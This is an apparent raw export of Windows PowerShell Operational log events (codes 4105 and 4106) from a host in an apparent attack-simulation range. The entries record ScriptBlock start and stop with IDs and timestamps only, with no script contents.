SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039182
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039181
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039179
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039178
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039177
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039176
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039160
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039159
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039154
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039153
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
